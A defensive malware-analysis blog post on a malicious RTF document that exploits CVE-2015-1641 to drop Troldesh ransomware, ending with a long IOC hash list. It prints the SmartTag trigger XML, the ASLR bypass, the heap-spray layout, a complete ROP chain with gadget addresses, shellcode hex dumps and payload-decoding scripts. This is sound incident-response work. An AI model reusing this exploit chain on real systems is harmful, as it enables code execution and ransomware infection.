During an incident response on a malicious MS Office document, SEKOIA CERT got access to the payload itself and also the dropper which was presented interesting features. The document was designed to exploit the vulnerability CVE-2015-1641 in order to drop and execute a ransomware called Troldesh.

This article explains how we analysed the exploit and the trick used by the author to avoid being detected and to complicate the analysis.

RTF document

The hash of the analysed RTF document is 72b14306c9f95536d03d88cf63204f70630dd9cd00664ad7f86c1d774c8508e9. At the beginning of the investigation, the detection ratio was 16/52.

The first interesting thing is the header of the document: “{\rtvpn”. Normally a RTF file should start by “{\rtfN” where N identifies the major version of the RTF document.

Another interesting element is the fact that traditional RTF parsers failed to extract the objects located in the document. For example, RTFScan from OfficeMalScanner extracts empty objects and rtfobj from oletools extracted corrupted objects. We contacted the author of oletools in order to identify the issues. You can find the explanation on this blog post. The latest version of rtfobj is patched and can perfectly extract the objects.

When we received the document, the most efficient way to extract only one object was to use foremost in order to carve the document and extract a compressed file (PK). This file was an OLE object embedded in the RTF document. This object is used to perform the heap spray and execute a shellcode.

Here is the part regarding the SmartTag vulnerability:

<w:smartTag w:uri="urn:schemas:contacts" w:element=" & #xBD50 ; & #x7C38; "> <w:permStart w:id="1148" w:edGrp="everyone"/> <w:moveFromRangeStart w:id="4294960790" w:name="ABCD" w:displacedByCustomXml="next"/> <w:moveFromRangeEnd w:id="4294960790" w:displacedByCustomXml="prev"/> <w:permEnd w:id="1148"/> </w:smartTag>

Exploit analysis

ASLR bypass

In order to bypass the ASLR, the author of the malicious RTF loads the otkloadr.dll by invoking otkloadr.WRAssembly.1:

paul@lab:~$ hd sample.rtf_object_00004C81.raw 00000000 01 05 00 00 02 00 00 00 25 00 00 00 6f 74 4b 6c |........%... otKl | 00000010 6f 61 64 72 2e 57 52 4c 6f 61 64 65 72 2e 31 00 | oadr.WRLoader.1 .| 00000020 87 21 32 21 31 64 64 65 32 21 54 21 54 21 54 21 |.!2!1dde2!T!T!T!| 00000030 54 00 00 00 00 00 00 00 00 01 00 00 00 41 01 05 |T............A..| 00000040 00 00 00 00 00 00 |......|

By loading this first library, a second library (msvcr71.dll) is loaded. The second one is not compiled with the /DYNAMICBASE option and the loaded address of the library content is predictable. In the next chapter we will see that the ROP chain is located in this library.

Heap spray

The exploit uses the heap spray technique in order to execute arbitrary code. The goal is to allocate a lot of memory in order to jump in this memory. The exploit author uses ActiveX to perform this task:

paul@lab:~/sample.rtf_object_0000AF6F.raw_PK/word/activeX$ ls activeX16.xml activeX21.xml activeX26.xml activeX30.xml activeX35.xml activeX3.xml activeX6.xml activeX17.xml activeX22.xml activeX27.xml activeX31.xml activeX36.xml activeX40.xml activeX7.xml activeX18.xml activeX23.xml activeX28.xml activeX32.xml activeX37.xml activeX4.xml activeX8.xml activeX19.xml activeX24.xml activeX29.xml activeX33.xml activeX38.xml activeX52.bin activeX9.xml activeX20.xml activeX25.xml activeX2.xml activeX34.xml activeX39.xml activeX5.xml _rels

The XML documents are used to load the .bin object:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" Target=" activeX52.bin "/> </Relationships>

The .bin object is loaded more than 30 times. The .bin contains 4 times the same pattern:

RET-sled

ROP chain

NOP-sled

Shellcode

00100200 bb 61 37 7c bb 61 37 7c bb 61 37 7c bb 61 37 7c |.a7|.a7|.a7|.a7|| * 0017fc30 bb 61 37 7c bb 61 37 7c eb 51 36 7c eb 51 36 7c | .a7|.a7| .Q6|.Q6|| 0017fc40 02 2b 37 7c 01 02 00 00 64 43 34 7c 40 00 00 00 |.+7|....dC4|@...| 0017fc50 28 1a 35 7c c7 0f 39 7c 9e 2e 34 7c 0f a4 34 7c |(.5|..9|..4|..4|| 0017fc60 dc 50 36 7c a3 15 34 7c 97 7f 34 7c 51 a1 37 7c |.P6|..4|..4|Q.7|| 0017fc70 4d 8c 37 7c 30 5c 34 7c 90 90 90 90 90 90 90 90 | M.7|0\4| ........| 0017fc80 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................| 0017fc90 90 90 90 90 90 90 90 90 90 31 c9 b9 53 00 00 00 |........ .1..S...| 0017fca0 dd d8 90 d9 74 24 f4 5b 81 73 14 31 88 a2 b6 83 |....t$.[.s.1....| 0017fcb0 eb fc e2 f4 00 41 c6 3d 40 b8 29 c0 3d 03 d4 ba |.....A.=@.).=...| 0017fcc0 9c 03 92 3d 47 90 49 e1 51 01 51 e0 ba fb 9e 3d |...=G.I.Q.Q....=| 0017fcd0 45 96 da b7 ef de 29 c0 11 89 7c 87 f8 c1 e3 1b |E.....)...|.....| 0017fce0 30 50 f4 87 c7 87 1c a6 09 5e d6 be f0 46 a5 b7 |0P.......^...F..| 0017fcf0 e7 c8 49 47 08 fd a2 e8 44 6c f8 3f ee 03 f8 92 |..IG....Dl.?....|

The RET-sled is the repetition of the address 0x7c3761bb (130700 times):

0:013> u 0x7c3761bb L1 MSVCR71!ldexp+0x12cf: 7c3761bb c3 ret

The ROP chain is:

0x7c3761bb: 7c3761bb c3 ret 0x7c3651eb: 7c3651eb 5d pop ebp 7c3651ec c3 ret 0x7c3651eb: 7c3651eb 5d pop ebp 7c3651ec c3 ret 0x7c372b02: 7c372b02 5b pop ebx 7c372b03 c3 ret 0x00000201: 0x201 0x7c344364: 7c344364 5a pop edx 7c344365 c3 ret 0x00000040 : 0x40 (PAGE_EXECUTE_READWRITE) 0x7c351a28: 7c351a28 59 pop ecx 7c351a29 c3 ret 0x7c390fc7: Writable location: 0:013> !address 0x7c390fc7 […] Protect: 00000004 PAGE_READWRITE […] 0x7c342e9e: 7c342e9e 5f pop edi 7c342e9f c3 ret 0x7c34a40f: 7c34a40f c3 ret 0x7c3650dc: 7c3650dc 5e pop esi 7c3650dd c3 ret 0x7c3415a3: 7c3415a3 ff20 jmp dword ptr [eax] 0x7c347f97: 7c347f97 58 pop eax 7c347f98 c3 ret 0x7c37a151: 0x7c37a151 , pointer to VirtualProtect() - 0x0EF 0x7c378c4d: 7c378c4d 60 pushad 7c378c4e 04ef add al,0EFh 7c378c50 c3 ret 0x7c345c30: 7c345c30 54 push esp 7c345c31 c3 ret

The purpose of the ROP chain is to make the memory at ESP (where the shellcode is stored) executable. In this screenshot you can see the argument of the VirtualProtect() on the stack:

Here is the explanation of the values:

0x9020094 is the address space of the shellcode, where the execution permission will be set (you can verify in the next chapter that the shellcode address matches this value);

is the address space of the shellcode, where the execution permission will be set (you can verify in the next chapter that the shellcode address matches this value); 0x201 is the size;

is the size; 0x40 is the permission ( PAGE_EXECUTE_READWRITE );

is the permission ( ); 0x7c390fc7 is the address of lpflOldProtect ( PAGE_READWRITE )

The execution flow is then redirected to the NOP-sled (0x90909090) with the execution permission.

Shellcode

The shellcode is divided in 2 stages.

As expected the first stage starts with NOPs:

0:006> t eax=00000001 ebx=00000201 ecx=e8ab0000 edx=039fe118 esi=7c3415a3 edi=7c34a40f eip=09020098 esp=09020098 ebp=7c37a151 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 09020098 90 nop 0:006> dd esp 09020098 90909090 90909090 90909090 90909090 090200a8 90909090 90909090 90909090 90909090 090200b8 b9c93190 00000053 d990d8dd 5bf42474 090200c8 31147381 83b6a288 f4e2fceb 3dc64100 090200d8 c029b840 bad4033d 3d92039c e1499047 090200e8 e0510151 3d9efbba b7da9645 c029deef 090200f8 877c8911 1be3c1f8 87f45030 a61c87c7 09020108 bed65e09 b7a546f0 4749c8e7 e8a2fd08

This stage uses the following API: GetFileSize(), CreateFileMappingA() and MapViewOfFile() in order to identify the RTF loaded in memory. To detect the RTF, it uses the file header (0x7b5c7274 – “{\rt”) and the value 0xfefefefe. Once the second stage identified, the second shellcode is decoded and executed.

The second stage identifies where the encoded malware is located based on 2 values: 0x5dfb1f86 and 0xf740ba0b:

00031c90 5f 5f 2f 91 c1 89 a1 0c 97 d4 fa 86 1f fb 5d 0b |__/........ ...] . | 00031ca0 ba 40 f7 00 f0 0d 00 00 b0 00 00 09 00 00 00 76 | .@. ............v| 00031cb0 6c 71 68 2a 60 7e 62 08 53 47 0b 9c 0d 0d 0f 10 |lqh*`~b.SG......| 00031cc0 11 16 13 14 ea e9 17 18 19 a2 1b 1c 1d 1e 1f 20 |............... | 00031cd0 21 62 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 |!b#$%&'()*+,-./0| 00031ce0 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 |123456789:;<=>?@| 00031cf0 41 42 43 44 45 ae 47 48 56 44 45 f6 f9 4e 82 59 |ABCDE.GHVDE..N.Y| 00031d00 e9 73 1f 55 74 9b 3f 0c 2a 33 2b 7c 32 2c 2d 07 |.s.Ut.?.*3+|2,-.| 00031d10 0c 03 00 44 0b 07 08 06 49 1e 0e 0e 1f 4e 01 05 |...D....I....N..|

The dropped malware is stored at this offset, more precisely at 0x31caf (203951). The shellcode uses an incremental XOR to decode the malware and then performs permutation on the first 512 bytes (to avoid PE detection). A simple decoding tool in Python can be used to extract the real payload:

paul@lab:~$ cat decode.py #!/usr/bin/python import sys import os file = open(sys.argv[1], 'r') offset = int(sys.argv[2]) key = 0x00 file.seek(offset) while offset <= os.path.getsize(sys.argv[1])-1: data = ord(file.read(1)) ^ key sys.stdout.write(chr(data)) offset = offset+1 key = (key + 1) & 0xFF file.close() paul@lab:~$ cat decode2.py #!/usr/bin/python import sys import os file = sys.stdin sys.stdout.write(file.read(9)) offset = 9 while file: data = file.read(1) if not data: break offset = offset+1 data2 = file.read(1) offset = offset+1 if offset <= 512: sys.stdout.write(data2) sys.stdout.write(data) else: sys.stdout.write(data) sys.stdout.write(data2) paul@lab:~$ ./decode.py sample.rtf 203951 | ./decode2.py > sample.exe paul@lab:~$ hd sample.exe | head 00000000 76 6d 73 6b 2e 65 78 65 00 4d 5a 90 00 03 00 00 |vmsk.exe.MZ.....| 00000010 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 |................| 00000020 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.@..............| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000040 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 |................| 00000050 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 |.!..L.!This prog| 00000060 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 |ram cannot be ru| 00000070 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d |n in DOS mode...| 00000080 0a 24 00 00 00 00 00 00 00 03 69 28 b3 47 08 46 |.$........i(.G.F| 00000090 e0 47 08 46 e0 47 08 46 e0 84 07 1b e0 43 08 46 |.G.F.G.F.....C.F|

The first word is the filename of the malware (vmsk.exe) and the binary itself is available at offset 9.

Malware

The malware is a well-known ransomware called Troldesh. We can identify a second Office document embedded in the malware binary. The Word document is displayed at the first execution of the malware, to act as a decoy:

The ransomware itself is documented at this URL: http://nyxbone.com/malware/Troldesh.html.

Extra

We identified hundreds of similar RTF files on VirusTotal, submitted between the 3rd of February 2016 and the 22nd of March. The shellcodes of these samples are all very similar. However, the dropped payloads are different:

86% of the RTF documents drop ransomware (troldesh, cryptowall, locky or nymaim);

11% of the RTF documents drop banking Trojan (vawtrak or dridex);

3% of the RTF documents drop botnet malware (upatre).

Based on VirusTotal, the majority of the samples were submitted from Russia; another interesting element is the fact that the banking Trojans contained a reference to a Russian bank: http://www.mtsbank.ru.

Conclusion

The purpose of the article was to show how to analyse this kind of exploit and how to dig into heap spray and ROP-chain. We can see that exploit developers tweak media documents in order to crash analysis tools. At the beginning of the analysis, no public tool could do the job… We would like to thank Philippe, the author of oletools. He patched his tool few days after our notification and the version available on bitbucket now perfectly parses this malicious RTF document: https://bitbucket.org/decalage/.

To mitigate this kind of attacks, we strongly recommend to update all your products and to use protection such as EMET.

IOC

Malicious RTF:

3e8686f74b79ffaf1f098acda42ab067ce0ba89d2c69c57161131165c357f6d8

5585542a75454377aca6751ec3a4525e7426866b5a94ae95246e964e752a3ac5

e1800277c003b0c3fc2c43b2bc2ae2cd00dd383ea033c0339ea24b4aca7292be

a27258703b5456bf70f18e760ac9035ea9cf46b2f4fc3de8926547356455c57a

ea97310440d8b09cf0f041397c1543673456459381b36550843966e8b4de957b

ce7c3f929f1bceee8c8762b85280f8f2af82d86b4d430e3ec6f8bd00a50bd422

33dc01fa744b8f82077b76325ff484608457e0a99268cf21cbb52a828052877b

039c89cc65374b478a753258cf9e98a7ad82bcf22fc19c63d9a89550a0c4cfe0

3cd0b60ac33e2540adb85f34a7dc6f2553914cdf14211ef13c45e7cba44cfed6

edf1165d9d03455b14a079f87b1d3fe77da1ccf23c9a341f2a9510f14f399d5f

094c9bfb985fee39d41682ed3d6698f488843544150856649d65f54aaf40a2b7

4c4e0a1d4f51c43b004efaf5a3deaf41d663c9debf8be2d2e38fce213d40cdae

551a5b5599bab374d3a9aad35ede4a5f91666481b51bb5623d2c76263a173337

c2d5f7ea8cec2a588b661b2dbb3da44cded31273f5099f192ce5cb6bd7a9304d

f7da6348348ef9a2ebc24ce4180690a06533dfa2a8719500133c9694c0bd6a97

add603848f1195fc51424bedf284942ed8900b424750c76722dfd8d515da5972

673e6ec23741e68b7454d21992aa593294be657c6b938bd368fb81761a5200dd

f25d1bf1e33d251305e644f855f7a60ad2a92fe2a8897d6e2a056eb5861a74e5

dc23918967d6d725b13616efca2c7c28fd9a2f2993b15cba2d3f3fb3b62db1db

fa1c74b3e7030419d16099b23fe24980cf01b7f3a67d6b231561904a0a5199ef

fd05ae0d5aa9b9ba2c619358feb5143558754fffb64af4c23a6fa8e4597cadb6

ed993fd2588c48ed642e34167210f475e64a639bd14c9a0264cea4af73afffc3

04df58992623f77a4997fcd30acaa5527906d568f90b6c34061632c6686caed7

a36c223ebb84b277ebcb95c584212608656d2ef002b604cd1f2b8d5fa139aeda

e83ebe8fcaf4c3a129176b58788a899f3ece401ec7c36971c782091075289d07

3f2258e5d313a517e0251690be639a1141a4e9b37707797b39ca03992f44215a

08ce1f3140b04243d737f2c7a3c49ba7027bdda696afd352441fb8a9d5e85bd7

af366fb16cd274ca5c63dc92a357aabc22808ffb3f75790c73d705326c44319a

1a4c44dc12f55bfbc8dd32521feac3553dd5f0724cbfbb2413d4c7ba87451a74

21b03ccb4e6ea4f1a90d7b7057bfab6e2b4136df4ee6961395d4b59ca79645df

9dd224660e153b28cd11b373ee88beaa11af99ed8d43be4c9a2a249702c6756c

a310dc76b8424cd1e6f45b6ec80b3c902694f9c0fcc831a057ec95f61341dd83

aa82f0cb588aaf37035048befa878dd535cf42b1625ddb89eb612059b3b09aa2

018ad8199a586c4cbd756d7d3c0ff8882f30d0094ac329c3404b6370ba33b4dc

7c83efac6a8bce7ea2349a5841895b4aebb7b84a51b5ab1c4e884eadeeb4b989

ccec0bffcc491e776a4e04f55bf860946df026f6982c9b21d303e4c0bacaccaa

b5abf9eb1d1f570d4ff59e4cba9d79e722469d3c1becadbc7e8e08650f7eb52a

b9db52b2e0b81925d797fd0d089e2fa5304ea2a5b2f53ab751636ad3f33ad995

98f8ab03cd2f794eb73d9d8231b93e021436463749443be34a02db632745249c

36a012449b529ba784d86d900471e4284c8f45b59c0684d38ee3f3d409b74ed7

a14dd569b07abfa00b8460fd26e0b4a9b2c6c14eb3e33cf853f62063e7e50aa7

14f55db231b409509ca814e92f1c5a144fa6a95d36fd518cc3d3f4e200c250d8

cdb1a8e8773554a6438db7800abad07ff28bf12dc0f351433a00d73137868f93

e61f71107d911effda5680cf05eefa0492612dfb01bb1c46a7ccb68019ff5cbe

e8246fdef41c66e60195008167b7adb1516db546b25bb5407c61455ef7f41ebf

3a37bf65d90e2766fa8641a2957e894f334ca81df7258a1d2ca5b25cbfb8ff2a

af72435fd6643b07d947cb742d82b8d5e8b3fdcb3473d57ec89b964145a109d5

6aa1610b6f3bd68a6eb50aed273337cf83f8c0bb4465b9893fb83fc406d74758

1919d6bcc1406dde7d04e43fdfa04bc71b34c6b2001a036650525ca30d0cf0fe

2ff63b5380a5f6e4654960fb96805dc964e59dc19e5b54bf920fdb05a0f3ab59

d2f8f07e95e5c19ce2b31ef027f902eecf785e85f22ab2fb380aa107a618bcb6

4d63680cc0a490c1d76bb0f38d3304c0cc2dc33bd2e040fc612779176c4dd7bd

7cbb78b4946eb32dfb041e8d70adbbbc345ff5fd2e0ba05437781761418376ce

a9c3e478435aec977198fa9debb9011be8ce89936fe83162650c7b7976984b96

2619f64d92878ec52fe5edd5b3dd6c81c2805794fff5209c5051a9f55e0b5ccb

2130c0f52e5870314e9b9af4d2fdfa06ae2482042a362c0bc53288c0ba084bee

e68fcc9389857a27bb306c0e3bcbdb2dfe28a9e32cbcc97d7c64594eadcd10f1

3255f43bee51eea4d08e1d0ef93e86dfb15bcca1fa8d8eea9f6d6fce7342bec8

2bef4cfe4d8aca179b4750361dd82dcdc465b1d82ad7cd06e23eceaac89b7428

6f71687ef84cead1878e61981066eaaab72b45a35ceb170393016c2b29ddb1da

71f0d8bad6fc4fa4ba2feefb0d0c0a59b272bbf3fb0c529d6911313e4088679c

54f6baf50b82b61b8528e2783737df4097b7408249ae20d7c92a6177769b0a36

4dead7355bef4d14b55d1066a71234bd8eab889d354ac8bd39a2eb119d9f6b66

5283bdd3e672358e97c0129bd4949f72f6d045f784c83f41e37a112966933312

7aa0eee1400a4e53ea511d912b6375103c807c9b6bb5eb8dfe373c39d6272197

758276f7ce95b9302bcbd6decc473e53875996d9cbe61b1736d0416553a2da64

eb141a2899a2460a462ae104139de7569ca97011d9c8214020c3c003c4d4278b

cee04c5cfe7552ae1352a39e452601078e8e226f15869d5f4aff15837df7310a

13e54debd6dc91f78b68f5d0bcfbd0c2e8ab91f2829a01a6607b3e3630a76911

e9981328833f8b8444bf4b2b817da9ea5191fa6e83350cca8a9673ed89866bac

530d2ec0ce29200de9cb82c91fbdf03f6af90ab088d8f3e76f12b4506741fd54

b1b4b4cae8fdd24839381bf9f81bf3e951e76ff96beb4ffe1e69857807704458

1078bfbb1a7c69a2b51b3e9f0150e55a2e1ba0a743072ac278e94988c5f26aea

08dddf06ab14cc10beda4cd63e865229f43a700910af27d73106366299a53db9

19015d70d80d790b134cde71a2cced8eb0cf8d1f426fa6cc6e2323b2822bae5b

678169f4dd5a98a71def6e3c8a6f2b5fe2903753d34db0a543697d9a8f5e6886

6538eb3dca1ce4b893a22ef106291a5259efa789682a25fd11bb4983898b1847

4e81a2de814c2fb3a814c0258fecd42a491f1fad3cd039cf1c7f22e04521b44a

28e6390c6700e656301ca6931f4eaab61671e7331e3897b4850c573014d90e3d

6b9b90aff85180d45599fb3a7f8843964f83c71726fdf278307913213964001f

f662192e5f7e0425e9ad75d4e1ca63cd7e786a2125a8abc9017bbd7839a5190f

a72deb323df35f11e157a2d855e7649f23e5a10081b46e6fa652b2ae7898c2ea

a8d23388c9a93ea0794869be0f748f858c5cf4ca5a7a6fe5353eacbbcc64dfa3

15868f003971f8bdf4a469cb9d7566133db8c5c64e5c064eed3b23b117d880c0

eab1508b1fe90df8e9f265058298e1e39000f9ba8403c884a853961b377ae3c4

f61dc695dd6a19b70dd01e4c511127063a808a5edf5812ee3ccc5dac6cc788d5

840a00dbbfc223a7ac466a1b4d40b987ca261715a3b7dea872515043b4dbae4e

16e19d0e153226120d2b9df5778b470c9f9aae8670fb7b60b9638b39bf274995

0b96e43e3958a8d2108bdb60ec94a1f1c59e0bfb099df82a9abf6a80cbdbdc40

6dcecc3e68bcc62189377380d35eb307834f2869ea2f6e3b79cdad365c2fc718

741bf54f94e8dbbd7e0347bd613e7e1efb3a249935b08d311b01193c3e49a9b0

72b14306c9f95536d03d88cf63204f70630dd9cd00664ad7f86c1d774c8508e9

9f915d5e4b16cdb3514ac3c8acac48a9dd388ba0eb65ddc04ba2a2a39fd87c24

f91356ef1fbeeea9f9a6e9d98f53d25f8cbca47767cdd97e4254fcc0fc303280

c5b398a6a1c3a8c52ee8c789e8c1fe82ffaf5cb2938d12a1a1fd6f9acca0db6d

26ce52103ef5ce81b70be9ad5b296d79697e2b6c006745a6d89b96a977d3614d

b3f1df4e21b9eb4d31d767a23bc7e8d5d01b1d2238deae7b44a941317b065c61

92bb1eb05f59f4acb1067f34462c858414d6d06200351262f73cd0a569cb4458

fdf729dd249968cdeccb3f8b5ba80c8c4f62f77df1ab1820045a5e1b38c07515

970843cdaaa2eff289b5a4a545a6cb5748e647dbff162d8b95e30da7a6856e14

86a01edca429b95291a51e4eacedea8fef4b669f6b64ea277bdce4eba814b527

174c2aa09eab2e12ad267fba39eee61b4843534584a9aecf82dea5e3874944c1

e1b29cc01618b390cf0886070038eb39be357c661d0e1b569dcaf516e8b3b630

0bebc8c646a5ad87f3bc02a05730cfcfb3078df77feffc3704b83e9b79363b2e

c12057f54df02b11b66192d5b1868b78d1a288bace9957fbb65df002909785d2

384f2c6cc59f96e6361078513a71113c243969f02777a1756bfbc94e9ce093d5

baf46cf2124c9e1b897cd905f70db0d5a00223769c0a65b40837ac8435d2abb1

f4b6fc2931a6d232c6b9ce992cbd418eb70f88deb6835e86316bb10d52db26bb

629dc4a64ad38ededf165a93b051984a70c206de534481bb83954f3b8a770992

a8ed4480b7a58400c39b76fc2fa938105e784e51c7e116eb785ca1c5aeb57c0b

af862434d1c9146514ce2f64ff7a5f656a17e6aaefd5c4320fee27e3aee48a38

78e1b0c8f49a38d6510932c019a50e87ecda70b470ef10b44f3531897066af17

17140777f7ae4a25d8679e9c83da0f8e3c5b9dd1afccb31a8628f53c02a0687d

04beed90f6a7762d84a455f8855567906de079f48ddaabe311a6a281e90bd36f

3edcf8e4925184331d778e1c20261db88accecec55e5977e274223edc6aae27e

31ae83970aca4bfe14617d346f06071c2b105ab352c46cb265e966cdfc876ef6

23279befe0dfe5df8fcc01ec70a453121d44f421eaa93de05977ea8d0e842791

307b6a63ec0bc6b60315371164e2f3b1bfd074945dcbc60b3f26a80ee12c853d

a408218a8b03effc3b76c79b530ef6a01d0c00fc9c370515fb196e4cc4005d10

c4fac4ab8c82fe4d437291904687189996d3732238884812d0d6e244e25e9514

7312910d9fd5085b7adfe98e6283a5031bdbc249cecdef71f017f25ae24e8277

d3cf7d45608fe356b939dabe1bf43998c0f3e34e984bec4aa0f770e03433aa19

cbd6f3d260a6772ec7988f89074a53f34c505526c2b934a9cd5b340c1f2eedab

26d3e32098298b8dc1e564650390bba96f82e2935f1cf0bc20651f0fe15b6b05

e675b1b1c675680d7cab5c0ea423ef1f37e94b40633a2e9af81038a400760354

fe8979f378d9a3ea3521a3f9da70fcfd036474cf1dca7c3eb869624bdd939059

ea8369c50a6501bb2bf65f0aace4efb01154ac5f79bda19bc57070528489d7e3

d71a6b3dd6ea1490a1ba77bff4b28b03be85aa1f8ca8f918705413ffd3a9f47c

bbbf00241724445c4358e57f804cb737d48b7c41ad0acfbe5c7f52a31e762fb7

74f42b1546c0c585ca687ad5e6bcd0b0c59dc29acb28a64c7fed543e8507f1f0

3f067344c458f48329fd0220f99779c8abaf70a8c662573e826dd7f2fe13c49b

1a2d1825fa7f737e730b483fb0013b482b1189ad5890756b25a190364bf85749

3573010aade278cc44a865ce7154961bc9afc6123f77096b826092a6a53447e6

9a0e05b26397104fee3073e0dc238af5c01822af851ec0a5890a1ebe84dd6e7d

038fba9afd9b7378c03c626ace7ab6cbe90756b5df9c8f4ea4417400ce96037c

9169c0df20c4f8bd2af0e5379049e3dc9908f1021e11d0f766cb8002c6541c74

80e0e3fa1fdb88dcae8d7bde0a7f5644d0b77592c07a3d42420f58d899c69cb1

b9226c380d146c9e45c7bc21ac08741b2d237c964704e028a35f41c2ac0b5ca9

69e47edc445dd936ccede5394f5f081048d3a15941dd74ff52ee4813cd7fa36f

a48d8796614e51175a35ae2d9fd712dc3694ed23f8b6c91a7794144aa40f995c

19370d42cd2e4570378404c216e2b57c0a38f1979b6f1b1e19317ffaa392ea5d

e5aeaf4d3910609e3b3d5537f7c83ce720261d0b6065574cd25b6dc335a18b54

8cd4cd8b1fb01981afff72e736cb1fd7e2b3d6b4e24bda72135bba97a718e930

d913daa8e65bd02df28938572de63c5af35ff625da87957aebad06f80d7ecc06

7d6f0a1ff3cf0ee240541c7412d39035baece3acb00141654d2946ec528b8982

e981816083556aee3d4fdca10d227958d790008d3c08003a2d3ce84f2bddef02

c8dd5c7f19259eafee57f2f07da593fade597b8e8b3964985a81bfb9817d5f3c

24eb156880b1868d33457468ea66738bad987e52f1474344b6fecfd8118b7807

c9cdeca008283b65844634f501e1db6ca0d47b9c81fce8a8e72ee4fa79583f12

ddc50be2bbc4e5b4e136bfa9fdb17f8f95dbdbe0c67a55413b350011fa13a51a

7f3c82265346c81b5d32b67029b4970c487d99ca594f0163225d258fa4a6988e

3e7a0deb372f0540f780ef1c921a4f5e7b7ffb0917cde3208728e4365865cb4a

75dc446aa9950b59a30ad04d878a2ccab2581f674484e071cf85e607aba21762

d0cdf6f62923b3a3531f6c6031deda390ff14c027256c9a07b11f3a00ca69fac

7dbcf9b4cf0f1c5a731009a5e5234ff22268ccf97b7d73f94c1a73480a7d4a06

41791fd591230f430fb33d8f9b4f0812971c99e05a7c7691e3502ba1cc45f9b4

c892c12767e8acc527e131eeab3fbb4eddc5bc11dbf284aa6f1b0eb16a267483

1d041b3a6005bbf1514a76ee565ad55ba32bf8a005d4eb6436e47809ba0c1d94

85f8ac47e1c9245b870d2f070a6d33a86608912588e3ce864f9335fb71c20e3f

0ba94fe77d2bd50cc67f4d60cff4e4be12742f3f21d2c1af62d2746786c0f73c

92788da32046e0f4dae6c7335f9e458e51d5e6000a70534e49ee48ba2fb9ebe7

0d0823d32ecc789ca61a5644a4b81fcc23620cefd0dd28d3aa70151a6a9c95a9

bc1885daa7a0ebf489cdd734111178bc9360c5658c23adb0bd1f04505bed063d

ff76faddd5963a4fa63c4398434499d90d1ca7a858b473c9e807a7f9347dcb15

bd0577f9e7a7dc506f3128e1547113083e8313b47a5c0fc4f577271bf49effb8

157abcd4d5098578c3059c0770e82cf814ae86672cddb4c9fc4deac02a1f059a

fc8f2c85786cded7c7afc8fd97ff366a0ba2b643cc012210ca3326c53946a7e3

e746a85a71e71efc5074282192608e6e216fe9018a3b87d0b0a2ca9ca29604a0